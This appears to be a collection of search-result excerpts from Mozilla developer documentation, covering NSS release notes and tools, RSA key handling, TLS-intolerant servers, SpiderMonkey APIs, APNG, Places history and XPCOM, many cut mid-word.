revious versions of nss, these algorithms would be handled by the most recently added pkcs#11 token that supported them. bug 611451 - when built with the current version of apple xcode on mac os x, the nss shared libraries will now only export the public nss functions. bug 810582 - tls false start is now only used with servers that negotiate a cipher suite that supports forward secrecy. note:...
NSS 3.35 release notes
haketype - the type of a tls handshake message. for the sslsignaturescheme enum, the enumerated values ssl_sig_rsa_pss_sha* are deprecated in response to a change in tls 1.3. please use the equivalent ssl_sig_rsa_pss_rsae_sha* for rsaencryption keys, or ssl_sig_rsa_pss_pss_sha* for pss keys. note that this release does not include support for the latter. notable changes in nss 3.35 p
reviously, nss used the dbm file format by default. starting with version 3.35, nss uses the sql file format by default. below, are explanations that could be helpful for environments that need to adopt to the new default. if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information. nss supports tw...
...y1305 64-bit. for stronger security, when creating encrypted pkcs#7 or pkcs#12 data, the iteration count for the password based encryption algorithm has been increased to one million iterations. note that debug builds will use a lower count, for better performance in test environments. as a reminder, debug builds should not be used for production purposes. nss 3.30 had introduced a regression, p
reventing nss from reading some aes encrypted data, produced by older versions of nss. nss 3.35 fixes this regression and restores the ability to read affected data. the following ca certificates were removed: ou = security communication ev rootca1 sha-256 fingerprint: a2:2d:ba:68:1e:97:37:6e:2d:39:7d:72:8a:ae:3a:9b:62:96:b9:fd:ba:60:bc:2e:11:f6:47:f2:c6:75:fb:37 cn = ca ...
... support for new rsa_pss_pss_shax signature schemes have been disabled; end-entity certificates with rsa-pss keys will still be used to produce signatures, but they will use the rsa_pss_rsae_shax codepoints. note: the value of ssl_tls13_key_share_xtn value, from the sslextensiontype, has been renumbered to match changes in tls 1.3. this is not expected to cause problems; code compiled against p
revious versions of tls will now refer to an unsupported codepoint, if this value was used. recompilation should correct any mismatches. note: dtls support is promoted in draft -23, but this is currently not compliant with the dtls 1.3 draft -23 specification. tls servers are able to handle a clienthello statelessly, if the client supports tls 1.3. if the server sends a helloretryrequest, ...
NSS 3.48 release notes
is the default maximum tls version. see bug 1573118 for details. tls extended master secret is enabled by default, where possible. see bug 1575411 for details. the master password pbe now uses 10,000 iterations by default when using the default sql (key4.db) storage. because using an iteration count higher than 1 with the legacy dbm (key3.db) storage creates files that are incompatible with p
revious versions of nss, applications that wish to enable it for key3.db are required to set environment variable nss_allow_legacy_dbm_iteration_count=1. applications may set environment variable nss_min_mp_pbe_iteration_count to request a higher iteration count than the library's default, or nss_max_mp_pbe_iteration_count to request a lower iteration count for test environments. see bug 1562671 for ...
...built by default. see bug 1594933 for details. ...
...50 - added a simplified and unified mac implementation for hmac and cmac behind pkcs#11 bug 1522203 - remove an old pentium pro performance workaround bug 1592557 - fix prng known-answer-test scripts bug 1586176 - encryptupdate should use maxout not block size (cve-2019-11745) bug 1593141 - add `notbefore` or similar "beginning-of-validity-period" parameter to mozilla::pkix::trustdomain::check
revocation bug 1591363 - fix a pbkdf2 memory leak in nsc_generatekey if key length > max_key_len (256) bug 1592869 - use arm neon for ctr_xor bug 1566131 - ensure sha-1 fallback disabled in tls 1.2 bug 1577803 - mark pkcs#11 token as friendly if it implements ckp_public_certificates_token bug 1566126 - power ghash vector acceleration bug 1589073 - use of new pr_assert_arg in certdb.c bug 15904...
nss tech note7
always pass pointers to these data types to nss functions and never examine the members of these structures. the strength of an rsa key pair is measured by the size of its modulus because given the modulus and public exponent, the best known algorithm for computing the private exponent is to factor the modulus. at present 1024 bit and 2048 bit rsa keys are the most common and recommended. to p
revent denial-of-service attacks with huge public keys, nss disallows modulus size greater than 8192 bits. how are these keys created in nss? there are a few possibilities. rsa key pairs may be generated inside a crypto module (also known as a token). use pk11_generatekeypair() to generate a key pair in a crypto module. key pairs may be generated elsewhere, exported in encrypted form, and impor...
...lic exponent, you need to first encode them into an rsa public key and then import the public key into nss. pkcs #1 defines an rsa public key as a sequence of modulus and public exponent, both of which are integers. here is the asn.1 type definition: rsapublickey ::= sequence { modulus integer, -- n publicexponent integer -- e } the following sample code (error handling omitted for b
revity) encodes a rsapublickey from a modulus and a public exponent and imports the public key into nss. struct myrsapublickey { secitem m_modulus; secitem m_exponent; } inpubkey; secitem derpubkey; seckeypublickey *pubkey; const sec_asn1template myrsapublickeytemplate[] = { { sec_asn1_sequence, 0, null, sizeof(myrsapublickey) }, { sec_asn1_integer, offsetof(myrsapublickey,m_modu...
...h as the rsa modulus with an initial octet of 0" and "one octet shorter without that initial octet" are exactly the same thing because the formatted block is treated as a big-endian big integer by the rsa algorithm. the leading 00 octet is simply eight most significant 0 bits. for example, 0x00123456 is equal to 0x123456. perhaps this change made in pkcs #1 v2.0 confused many people, so it was
reversed in v2.1. sample code sample code 4: pki encryption references rsa labs pkcs #1 web site rfc 3447: rsa pkcs #1 v2.1 poupou's blog: common question: how to encrypt using rsa ...
Notes on TLS - SSL 3.0 Intolerant Servers
llback provision provides, they terminate/drop the connection, thus resulting in most cases a blank page display. for up-to-date information, you can read a bugzilla bug report which keeps track of this problem with mozilla-based browsers. see bug 59321. servers currently known to exhibit this intolerant behavior as of this writing, this problem has been reported for the following servers: (whe
rever there is an upgraded version which fixes the problem, it is indicated by an asterisked remark in the parentheses. ) domino-go-webserver/4.6.2.6 (and perhaps some later versions) ibm_http_server/1.3.6.3 or earlier (* update to 1.3.6.4) ibm_http_server/1.3.12.1 or earlier (* update to 1.3.12.2) java web server 2 osu/3.2 - decthreads http server for openvm stronghold/2.2 webmail v. 3.6.1 ...
...for openvm stronghold/2.2 webmail v. 3.6.1 by infinite technologies (* update available) n.b. there might be servers other than those listed above which exhibit this problem. if you find such a server, feel free to add it to this page. for up-to-date information, you can read this bug 59321 which keeps a list of tls/ssl 3.0 intolerant servers. users: how to avoid this problem? netscape 6.1 p
review release 1, or mozilla 0.9.1 and earlier these versions shipped with the tls option turned on as the default but with no way to deal with the problem servers. if you are using these old versions, please update to the latest netscape or mozilla versions. you can also avoid such a problem by editing an existing profile -- check the preference option setting at: edit | preferences | privacy and s...
...able, which corrects this problem. there will be other network clients which implement tls/ssl 3.0 specification correctly and have a problem with your site. let's not perpetuate the problem servers. contact the manufacturer and inquire if there is a new version available which fixes this problem. post a note on your site instructing users of old versions of browsers like netscape 6.0/6.01/6.1 p
review release 1 and mozilla 0.9.1 and earlier to turn off the tls option at: edit | preferences | privacy and security | ssl | enable tls. however, this is a temporary workaround at best. we recommend strongly that you urge users to upgrade to the latest netscape version (or at least netscape 6.1) since the newer versions have the graceful rollback implemented in the code. if you have questions con...
NSS tools : vfychain
synopsis vfychain description the verification tool, vfychain, verifies certificate chains. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. ...
...e is raw binary der (default) -t following cert is explicitly trusted (overrides db trust) -u usage 0=ssl client, 1=ssl server, 2=ssl stepup, 3=ssl ca, 4=email signer, 5=email recipient, 6=object signer, 9=protectedobjectsigner, 10=ocsp responder, 11=any ca -v verbose mode. prints root cert subject(double the argument for whole root cert info) -w password database password -w pwfile password file
revocation options for pkix api (invoked with -pp options) is a collection of the following flags: [-g type [-h flags] [-m type [-s flags]] ...] ... where: -g test-type sets status checking test type. possible values are "leaf" or "chain" -g test type sets status checking test type. possible values are "leaf" or "chain". -h test flags sets
revocation flags for the test type it follows. possible flags...
...possible types are "donotuse", "forbidfetching", "ignoredefaultsrc", "requireinfo" and "failifnoinfo". ...
pkfnc.html
wing parameters: nickname a pointer to the nickname in the certificate database or to the nickname in the token. wincx a pointer to application data for the password callback function. this pointer is set with ssl_setpkcs11pinarg during ssl configuration. to retrieve its current value, use ssl_
revealpinarg. returns the function returns one of these values: if successful, a pointer to a certificate structure. if unsuccessful, null. description a nickname is an alias for a certificate subject. there may be multiple certificates with the same subject, and hence the same nickname. this function will return the newest certificate that matches the subject, based ...
...is function has the following parameters: cert a pointer to a certificate structure in the certificate database. wincx a pointer to application data for the password callback function. this pointer is set with ssl_setpkcs11pinarg during ssl configuration. to retrieve its current value, use ssl_
revealpinarg. returns the function returns one of these values: if successful, a pointer to a private key structure. if unsuccessful, null. description when you are finished with the private key structure returned by pk11_findkeybyanycert, you must free it by calling seckey_destroyprivatekey. the pk11_findkeybyanycert function calls the password callback function set...
...func has the following prototype: typedef char *(*pk11passwordfunc)( pk11slotinfo *slot, prbool retry, void *arg); this callback function has the following parameters: slot a pointer to a slot info structure. retry set to pr_true if this is a retry. this implies that the callback has p
reviously returned the wrong password. arg a pointer supplied by the application that can be used to pass state information. can be null. this callback function returns one of these values: if successful, a pointer to the password. this memory must have been allocated with pr_malloc or pl_strdup. if unsuccessful, returns...
sslintro.html
ssl peers frequently reconnect after a relatively short time has passed. to avoid the overhead of repeating the full ssl handshake in situations like this, the ssl protocol supports the use of a session cache, which retains information about each connection, such as the master secret generated during the ssl handshake, for a predetermined length of time. if ssl can locate the information about a p
revious connection in the local session cache, it can reestablish the connection much more quickly than it can without the connection information. by default, ssl allocates one session cache. this default cache is called the client session id cache, (also known as the client session cache, or simply the client cache). the client cache is used for all sessions where the program handshakes as an ssl c...
...after these tasks have been performed, call nss_shutdown to close the certificate and key databases opened by nss_init, and pr_cleanup to coordinate a graceful shutdown of nspr. ...
...after these tasks have been performed, call nss_shutdown to close the certificate and key databases opened by nss_init, and pr_cleanup to coordinate a graceful shutdown of nspr. ...
NSS Tools certutil
nt is not used certificate database tool prompts for a filename. -g generate a new public and private key pair within a key database. the key database should already exist; if one is not present, this option will initialize one by default. some smart cards (for example, the litronic card) can store only one key pair. if you create a new key pair for such a card, the p
revious pair is overwritten. -f delete a private key from a key database. specify the key to delete with the -n argument. specify the database from which to delete the key with the -d argument. use the -k argument to specify explicitly whether to delete a dsa or an rsa key. if you don't use the -k argument, the option looks for an rsa key matching the specified nick...
...he certificate and key databases is not recommended. -e check a certificate's signature during the process of validating a certificate. -f password-file specify a file that will automatically supply the password to include in a certificate or to access a certificate database. this is a plain-text file containing one password. be sure to p
revent unauthorized access to this file. -g keysize set a key size to use when generating new public and private key pairs. the minimum is 512 bits and the maximum is 8192 bits. the default is 1024 bits. any size that is a multiple of 8 between the minimum and maximum is allowed. -h tokenname specify the name of a token to use or act on. unl...
...e authority keyid extension. authority key id extensions are described under standard x.509 v3 certificate extensions in appendix b.3 of thered hat certificate system administration guide. -4 add a crl distribution point extension to a certificate that is being created or added to a database. this extension identifies the url of a certificate's associated certificate
revocation list (crl). the certificate database tool prompts you to enter the url. crl distribution point extensions are described in standard x.509 v3 certificate extensions in appendix a.3 of thered hat certificate system administration guide. -5 add a netscape certificate type extension to a certificate that is being created or added to the database. netscape certific...
NSS tools : vfychain
synopsis vfychain description the verification tool, vfychain, verifies certificate chains. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. ...
... 0=ssl client, 1=ssl server, 2=ssl stepup, 3=ssl ca, 4=email signer, 5=email recipient, 6=object signer, 9=protectedobjectsigner, 10=ocsp responder, 11=any ca -v verbose mode. prints root cert subject(double the argument for whole root cert info) -w password database password -w pwfile password file
revocation options for pkix api (invoked with -pp options) is a collection of the following flags: [-g type [-h flags] [-m type [-s flags]] ...] ... where: -g test-type sets status checking test type. possible values are "leaf" or "chain" -g test type sets status checking test type. possible values are "leaf" or "ch...
...th -pp options) is a collection of the following flags: [-g type [-h flags] [-m type [-s flags]] ...] ... where: -g test-type sets status checking test type. possible values are "leaf" or "chain" -g test type sets status checking test type. possible values are "leaf" or "chain". -h test flags sets
revocation flags for the test type it follows. possible flags: "testlocalinfofirst" and "requirefreshinfo". -m method type sets method type for the test type it follows. possible types are "crl" and "ocsp". -s method flags sets
revocation flags for the method it follows. possible types are "donotuse", "forbidfetching", "ignoredefaultsrc",...
Bytecode Descriptions
l, so after setup the script suspends itself: the "initial yield". later, when resuming execution, rval, gen and resumekind will receive the values passed in by jsop::resume. resumekind is the generatorresumekind stored as an int32 value. this instruction must appear only in scripts for generators and async generators. gen must be the generator object for the current frame. it must not have been p
reviously suspended. the resume point indicated by resumeindex must be the next instruction in the script, which must be afteryield. implements: generatorstart, steps 4-7. format: jof_resumeindex afteryield operands: (uint32_t icindex) bytecode emitted after yield expressions. this is useful for the debugger and abstractgeneratorobject::isafteryieldorawait. it's treated as jump target op so that t...
...nt chain designated to receive new variables). jsop::def{var,let,const,fun} instructions must appear in the script before anything else that might add bindings to the environment, and only once per binding. there must be a correct entry for the new binding in script->bodyscope(). (all this ensures that at run time, there is no existing conflicting binding. this is checked by the jsop::checkglobalo
revaldecl bytecode instruction that must appear before jsop::def{var,let,const,fun}.) throw a syntaxerror if the current variableenvironment is the global environment and a binding with the same name exists on the global lexical environment. this is used for global scripts and also in some cases for function scripts where use of dynamic scoping inhibits optimization. format: jof_atom deffun stack:...
...: (uint32_t nameindex) create a new uninitialized mutable binding in the global lexical environment. throw a syntaxerror if a binding with the same name already exists on that environment, or if a var binding with the same name exists on the global. format: jof_atom defconst operands: (uint32_t nameindex) like deflet, but create an uninitialized constant binding. format: jof_atom checkglobalo
revaldecl check for conflicting bindings before jsop::def{var,let,const,fun} in global or sloppy eval scripts. implements: globaldeclarationinstantiation steps 5, 6, 10 and 12, and evaldeclarationinstantiation steps 5 and 8. delname operands: (uint32_t nameindex) stack: ⇒ succeeded look up a variable on the environment chain and delete it. push true on success (if a binding was deleted, or if n...
JS::CompileOptions
ntattributename(jsstring *p) owningcompileoptions &setintroductionscript(jsscript *s) owningcompileoptions &setmutederrors(bool mute) owningcompileoptions &setversion(jsversion v) owningcompileoptions &setutf8(bool u) owningcompileoptions &setcolumn(unsigned c) owningcompileoptions &setcompileandgo(bool cng) owningcompileoptions &setfo
reval(bool eval) owningcompileoptions &setnoscriptrval(bool nsr) owningcompileoptions &setselfhostingmode(bool shm) owningcompileoptions &setcanlazilyparse(bool clp) owningcompileoptions &setsourceislazy(bool l) owningcompileoptions &setintroductiontype(const char *t) bool setintroductioninfo(jscontext *cx, const char *introducerfn, const char *in...
...ject *e) compileoptions &setelementattributename(jsstring *p) compileoptions &setintroductionscript(jsscript *s) compileoptions &setmutederrors(bool mute) compileoptions &setversion(jsversion v) compileoptions &setutf8(bool u) compileoptions &setcolumn(unsigned c) compileoptions &setcompileandgo(bool cng) compileoptions &setfo
reval(bool eval) compileoptions &setnoscriptrval(bool nsr) compileoptions &setselfhostingmode(bool shm) compileoptions &setcanlazilyparse(bool clp) compileoptions &setsourceislazy(bool l) compileoptions &setintroductiontype(const char *t) compileoptions &setintroductioninfo(const char *introducerfn, const char *intro, unsigned line, jsscript *scri...
...the character set of the source code is utf-8. lineno unsigned line number of the first line of the source code (1-origin). column unsigned column number of the first line of the source code (0-origin). compileandgo bool true if the code is going to be evaluated soon after the compile (e.g., false for function constructor and event handler). fo
reval bool true if the code is for eval(). noscriptrval bool false means that the caller needs the return value of the script. selfhostingmode bool true iff the code is self-hosted. canlazilyparse bool true if the source code can be parsed lazily (check only syntax for first time, and fully parse when it's really needed). strictoption boo...
JS_ParseJSON
this article covers features introduced in spidermonkey 1.8.6 parse a string using the json syntax described in ecmascript 5 and return the corresponding value. syntax jsbool js_parsejson(jscontext *cx, const jschar *chars, uint32 len, jsval *vp); jsbool js_parsejsonwith
reviver(jscontext *cx, const jschar *chars, uint32 len, jsval
reviver, jsval *vp); name type description cx jscontext * pointer to a js context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ch jsobject * the object to be searched. chars const jschar * the characters of the string. len uint32 the length of the string. index jsint (in js_parsejsonwith
reviver only) a
reviver function to apply to the created value after parsing; see json.parse. vp jsva...
...if an error occurs, the value left in *vp is undefined. description use these functions to parse a sequence of characters as json. ...
... the value left in *vp is undefined. ...
JS_SetGCCallback
description js_setgccallback sets a callback function which the garbage collector calls at several points during garbage collection. rt is the runtime in which you specify the callback. cb is a pointer to the new callback function to use. callback related to finalization is separated to js_setfinalizecallback in jsapi 13. obsolete since jsapi 13 js_setgccallback returns a pointer to the p
reviously used callback function upon completion. the application may store this return value in order to restore the original callback when the new callback is no longer needed. to restore the original callback, call js_setgccallback a second time, and pass the old callback in as the cb argument. during each complete garbage collection cycle, the current gc callback is called four times: jsgc_...
...tion. the application may store this return value in order to restore the original callback when the new callback is no longer needed. to restore the original callback, call js_setgccallback a second time, and pass the old callback in as the cb argument. during each complete garbage collection cycle, the current gc callback is called four times: jsgc_begin start of gc. the callback may p
revent gc from starting by returning false. but even if the callback returns true, the garbage collector may determine that gc is not necessary, in which case the other three callbacks are skipped. jsgc_mark_end obsolete since jsapi 13 end of marking. the callback may use js_isabouttobefinalized to clean up weak references to js objects (that is, pointers that are not traced by the gc). j...
...ppen on any thread, any time that thread triggers garbage collection (from almost any jsapi call). the gc callback may be called on multiple threads at the same time (e.g. if a thread that is not in an active request calls js_gc while gc is already happening on another thread). in a js_threadsafe build, a jsgc_begin callback can happen on one thread before or while a jsgc_end callback for the p
revious gc cycle runs on another thread. in a js_threadsafe build, the jsgc_end callback is called after each stop-the-world rendezvous during which one or more garbage collection cycles finished. the callback executes on the same thread that performed gc, after the gc lock has been released. other threads may be running in active requests. see also mxr id search for js_setgccallback js_setfinali...
SpiderMonkey 1.8
e same time should not use spidermonkey 1.8. there is a minor known bug in the new javascript 1.8 functionality. when javascript 1.8 support is enabled, the parser accepts some incorrect programs by inserting a semicolon where it should instead throw a syntaxerror (bug 384758). this bug will be fixed in 1.8.1. migrating to spidermonkey 1.8 spidermonkey 1.8 is not binary-compatible with p
revious releases. it is source-compatible with spidermonkey 1.7 though, which means you can probably just recompile and relink your application. a handful of changes are not backwards-compatible: the result of assigning to a property with a setter has changed (bug 312354). in javascript 1.7 and earlier, x = [].length = "7"; would store the number 7 in x. now this statement stores the string "7" in...
...le: the result of assigning to a property with a setter has changed (bug 312354). in javascript 1.7 and earlier, x = [].length = "7"; would store the number 7 in x. now this statement stores the string "7" in x. the new behavior conforms to the ecmascript standard, ecma 262-3 §11.13.1. in certain cases, the javascript engine no longer calls jsclass.resolve callbacks repeatedly, as it did in p
revious versions. specifically, if a property lookup first calls a resolve hook which does not define the property, then finds the property on a prototype, that result can be cached. future lookups for the same property on the same sort of object may bypass the resolve hook. js_newdouble is now deprecated. use js_newdoublevalue. the security apis js_setcheckobjectaccesscallback, js_setprincipalstra...
...been added as well. the new function js_setscriptstackquota limits the size of the javascript stack. two new functions, js_setgczeal and js_dumpheap, aim to help developers debug gc-related problems. these functions are only present in debug builds. js_setgczeal is especially helpful. when gc zeal is enabled, gc happens extremely frequently. this makes gc-related problems easier to reproduce,
reveals gc problems that you may not have noticed before, and causes gc-safety bugs to surface much closer to their cause. js_dumpheap dumps parts of the gc heap and can help detect leaks. a new gc parameter, jsgc_stackpool_lifespan, controls how eagerly spidermonkey returns unused memory back to the system. the new function js_setextragcroots provides another way to protect values from garbage col...
SpiderMonkey 24
hey're not necessarily complete or fully accurate. the mozilla javascript team is pleased to announce the release of spidermonkey 24. you can download full source code here: https://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2 (sha1: ce779081cc11bd0c871c6f303fc4a0091cf4fe66) spidermonkey 24 is the javascript engine that shipped in firefox 24. it continues to improve performance over p
revious spidermonkey releases, with a significantly improved garbage collector, a new jit compilation mode, and other features. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript eng...
...: msvc8/9 support has been dropped. spidermonkey 24 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, mips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions. it's the same language, just not as fast. migrating to spidermonkey 24 spidermonkey now provides a fully c++ interface, so embedders relying on embeddability in c projects will have to convert to c++, or implement their own adapter code. the following features in earlier versions of spidermonkey have been dropped. e4x, an extension to ecmascript adding xml support, has been re...
...ing xml support, has been removed. the extension eventually became an evolutionary dead end, as tc39 chose not to incorporate it into ecmascript proper. it is recommended that you embed a separate xml parser, or include an xml parsing implementation written in javascript, as an alternative. jaegermonkey has been removed and replaced by ionmonkey spidermonkey 24 is not binary-compatible with p
revious releases, nor is it source-code compatible. many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the ...
SpiderMonkey 31
it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. ...
...: msvc8/9 support has been dropped. spidermonkey 31 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, mips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions. it's the same language, just not as fast. migrating to spidermonkey 31 the first change most embedders will notice is that spidermonkey must now be initialized before it can be used, using the newly-repurposed js_init method. after this method is called, normal jsapi operations are permitted. when all jsapi operation has completed, the corresponding js_shutdown method (currently...
...es have been specialized to implement the same interface as js::value, for simplicity and to ease migration pain. changes to introduce handles to the jsapi are not individually documented, because of the breadth of the changes involved. the following features in earlier versions of spidermonkey have been dropped. xxx list removed features here spidermonkey 31 is not binary-compatible with p
revious releases, nor is it source-code compatible. many jsapi types, functions, and callback signatures have changed, though most functions that have changed still have the same names and implement essentially unchanged functionality. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fai...
Animated PNG graphics
yte shall be an 8-bit unsigned integer with the range 0 to (2^8)-1. error handling apng is designed to allow incremental display of frames before the entire image has been read. this implies that some errors may not be detected until partway through the animation. it is strongly recommended that when any error is encountered decoders should discard all subsequent frames, stop the animation, and
revert to displaying the default image. a decoder which detects an error before the animation has started should display the default image. an error message may be displayed to the user if appropriate. structure an apng stream is a normal png stream as defined in the png specification, with three additional chunk types describing the animation and providing additional frame data. to be recognized ...
...dispose_op are: value constant description 0 apng_dispose_op_none no disposal is done on this frame before rendering the next; the contents of the output buffer are left as is. 1 apng_dispose_op_background the frame's region of the output buffer is to be cleared to fully transparent black before rendering the next frame. 2 apng_dispose_op_p
revious the frame's region of the output buffer is to be
reverted to the p
revious contents before rendering the next frame. if the first 'fctl' chunk uses a dispose_op of apng_dispose_op_p
revious it should be treated as apng_dispose_op_background. blend_op<code> specifies whether the frame is to be alpha blended into the current output buffer content, or whether it should completely replac...
...ame inherits every property specified by any critical or ancillary chunks before the first 'idat' in the file, except the width and height, which come from the 'fctl' chunk. if the png 'phys' chunk is present, the apng images and their x_offset and y_offset values must be scaled in the same way as the main image. conceptually, such scaling occurs while mapping the output buffer onto the canvas.
revisions to this specification from 0.1 renamed chunks to 'anim' and 'fram' to comply with chunk naming conventions in the png spec. added a more detailed explanation of apng structure in section 2. added information for png interaction with other chunks in section 3.2. changed 'fram' chunk offsets and delay into signed integers. from 0.2 changed 'fram' chunk to 'afra' to avoid ...
History Service Design
of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views. the user can query his visits based on a date range, meta contents or
revisit behavior. this involves storing informations on all of the user's visits, including visit time, type of visit and meta data. old history system was instead only storing first and last visit date, and a generic visits counter, creating some problem due to the impossibility to represent real history flow in a timeframe. history views must be organized and as concise as possible. each visit is ...
...ue in this table and is associated with a place id, commonly used as the foreign key on other tables. this table has common attributes for a page like typed, hidden and frecency. certain scheme are excluded from history, so they will never be added, for example: about, view-source, chrome. if a page can be added we first check if it exists already, then it is added or updated accordingly to the p
revious check, and common attributes are set based on concurrent visit properties. typed means the page as a typed visit, hidden means the page should not be shown in autocomplete, while frecency is the relevance the page will have in locationbar queries. finally observers are notified a new visit has been added. every visit is identified by its visit date, and a visit type (also known as transition...
...d to track visit chains in global history, so for example if clicking a link causes a redirect the from visit will allow to follow up the chain of visits. at the moment this is used when catching favicons or bookmarks for redirected pages. querying for data querying data is a basic feature for places. thanks to the underlying database, history size has increased far more than 10 times from the p
revious mork based implementation, thus the need for a simple and efficient way to extract slices of data. a places query is made of of a query object (nsinavhistoryquery) and a query options object (nsinavhistoryqueryoptions) that defines the constraints results must obey to. these objects can be directly instantiated and built, setting their attributes, but places allows a more readable and manage...
Avoiding leaks in JavaScript XPCOM components
nment where memory management issues are not obvious. there are no calls to malloc and free and no reference counting. despite this, it's easy to write javascript code that leaks. it's easy to write leaky code in any garbage-collected language. but it's even easier in this environment because some of the objects you're dealing with are reference-counted behind the scenes. programmers writing and
reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks. this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks. basics of memory management creating objects that are not a fixed size for the lifetime of the program...
...ing to protect them from garbage collection. this makes program behavior depend on when garbage collection happens, which means the api is nondeterministic, which is really bad. this situation may improve at some point in the future. the situation with javascript properties on dom nodes may also improve—see bug 283129—but it requires substantial changes.) things not to do everybody writing,
reviewing, or checking in javascript code to mozilla cvs should understand why these things are bad. don't store temporary objects permanently in global variables storing temporary objects permanently in global variables will leak memory in garbage-collected languages. that it leaks in the xpcom+javascript world isn't at all special. the most common way this is done in javascript is on implementat...
...vascript functions are function-scope, including the part of the function before the declaration.) this means that the value of iterator, the wrapper for the native tree walker, is reachable from the function. but the tree walker owns a reference to the wrapper for that function, so the wrapper maintains a garbage collection root to keep the function from being destroyed, so we have a cycle that p
revents both objects from being freed. simply assigning iterator = null before the return is sufficient to fix the leak. however, a better fix is to move the filter function outside of the function, since the power of closures is not necessary in this case (and there's also no need to create a new function object for the filter each time this code is executed). this same problem can also happen if ...
An Overview of XPCOM
the book is presented as a tutorial about creating xpcom components, but it covers all major aspects, concepts, and terminology of the xpcom component model along the way. this chapter provides a quick tour of xpcom - an introduction to the basic concepts and technologies in xpcom and component development. the brief sections in this chapter introduce the concepts at a very high level, so that we can discuss and use them with more familiarity in the tutorial itself, which describes the creation of a mozilla component called weblock. the xpcom solution the cross platform component object module (xpcom) is a framework which allows developers to break up monolithic software projects into smaller modularized pieces. ...
... it's easy enough to use a c-style cast. but casting can become more involved where you must first cast void then to the requested type, because you must return the interface pointer in the vtable corresponding to the requested interface. casting can become a problem when there is an ambiguous inheritance hierarchy. xpcom identifiers in addition to the iid interface identifier discussed in the p
revious section, xpcom uses two other very important identifiers to distinguish classes and components. xpcom identifier classes the nsiid class is actually a typedef for the nsid class. the other typedefs of nsid, cid and iid, refer to specific implementations of a concrete class and to a specific interface, respectively. the nsid class provides methods like equals for comparing identifiers in t...
...ter returned when a valid pointer is found to be nsnull. ns_error_failure returned when a method fails. generic error case. ns_error_unexpected returned when an unexpected error occurs. ns_error_out_of_memory returned when a memory allocation fails. ns_error_factory_not_registered returned when a requested class is not registered. « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any sta...
Using XPCOM Components
applications like the mozilla browser are sophisticated, modularized clients of xpcom components. in fact, virtually all of the functionality that you associate with a browser - navigation, window management, managing cookies, bookmarks, security, searching, rendering, and other features - is defined in xpcom components and accessed by means of those component interfaces. mozilla is made of xpcom components. ...
... reuse xpcom components at runtime. and they make it possible to use components written in other languages - such as javascript, python, and others - and to use c++-based xpcom components from these other languages as well. in the mozilla browser, components are used as often from javascript in the interface as they are from c++ or any other language. in fact, a search of the mozilla source code
reveals that this cookiemanager component is called only from javascript. we'll be using this component from javascript ourselves as part of this tutorial[cookie-manager-in-tutorial]. javascript and mozilla javascript is the lingua franca of the mozilla browser front-end, and the bindings between it and xpcom are strong and well-defined. scriptability, this ability to get and use xpcom components ...
... own ui. note: private-xpcom-interfaces there are exceptions to this. some xpcom interfaces are also private and not made for general use. private interfaces do not have the same requirements as the ones that are made available publicly in idl. note: cookie-manager-in-tutorial the cookiemanager component is used to persist for the web locking functionality described in this tutorial. « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standa...
Observer Notifications
requested item-upgraded a different version of an existing extension has been installed. em-action-requested item-uninstalled an addon has been marked to be uninstalled. em-action-requested item-enabled an addon has been enabled. em-action-requested item-disabled an addon has been disabled. em-action-requested item-cancel-action a p
revious action has been cancelled. idle service this topic indicates when actions related to the idle service, provided by the nsiidleservice interface. unlike the user-interaction-active and user-interaction-inactive topics listed above, the idle service monitors user activity in general, whether related to the mozilla application or not (acting somewhat like the user activity/inactivity eve...
...successfully restored from html on intial import. if bookmarks were to have been restored into a specific folder, observers will be passed an nsisupportsprint64 through their subject parameters indicating the id of the folder. the subject is null otherwise. themes these topics indicate when actions related to themes occur. topic data description lightweight-theme-p
review-requested json sent when the user requests to p
review a lightweight theme, but before existing windows are styled with the new theme. lightweight-theme-change-requested json sent to indicate that the user has chosen a new theme in the add-ons manager, but before the change takes effect. lightweight-theme-changed - sent after the current theme is changed. ...
...theme. lightweight-theme-change-requested json sent to indicate that the user has chosen a new theme in the add-ons manager, but before the change takes effect. lightweight-theme-changed - sent after the current theme is changed. lightweight-theme-styling-update json sent when the current theme being used is changed; this is sent even when the user is p
